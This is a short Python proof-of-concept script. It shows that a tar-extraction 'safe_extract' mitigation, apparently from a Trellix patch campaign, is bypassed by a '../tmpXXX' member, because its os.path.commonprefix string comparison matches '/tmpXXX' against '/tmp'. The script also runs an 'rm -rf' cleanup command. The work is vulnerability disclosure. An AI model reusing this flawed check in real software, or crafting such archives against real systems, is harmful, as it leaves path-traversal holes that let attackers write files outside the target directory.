Proof of concept on how to exploit the fix/mitigation from TrellixVulnTeam

python_poc_trellix_fix.py

"""
Please see https://github.com/python/cpython/issues/74453#issuecomment-1500321322
for more details
"""
import tarfile
import os


cwd_name = os.path.basename(os.getcwd())

# cleanup all old state
os.system('rm -rf my.tar tmp*')

with tarfile.open('my.tar', "w") as archive:
    tarinfo = tarfile.TarInfo('../tmpXXX')
    tarinfo.size = 0
    archive.addfile(tarinfo, b'')

tmp_dir = './tmp'
os.makedirs(tmp_dir)

with tarfile.open('my.tar') as f:
    def is_within_directory(directory, target):

        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)

        prefix = os.path.commonprefix([abs_directory, abs_target])
        print("target           = %s" % target)
        print("abs_directory    = %s" % abs_directory)
        print("abs_target       = %s" % abs_target)
        print("prefix           = %s" % prefix)

        return prefix == abs_directory

    def safe_extract(tar, path=".", members=None, *, numeric_owner=False):
        for member in tar.getmembers():
            print("[*] Will extract: %s" % member.name)
            member_path = os.path.join(path, member.name)
            if not is_within_directory(path, member_path):
                raise Exception("Attempted Path Traversal in Tar File")

        tar.extractall(path, members, numeric_owner=numeric_owner)

    safe_extract(f, tmp_dir)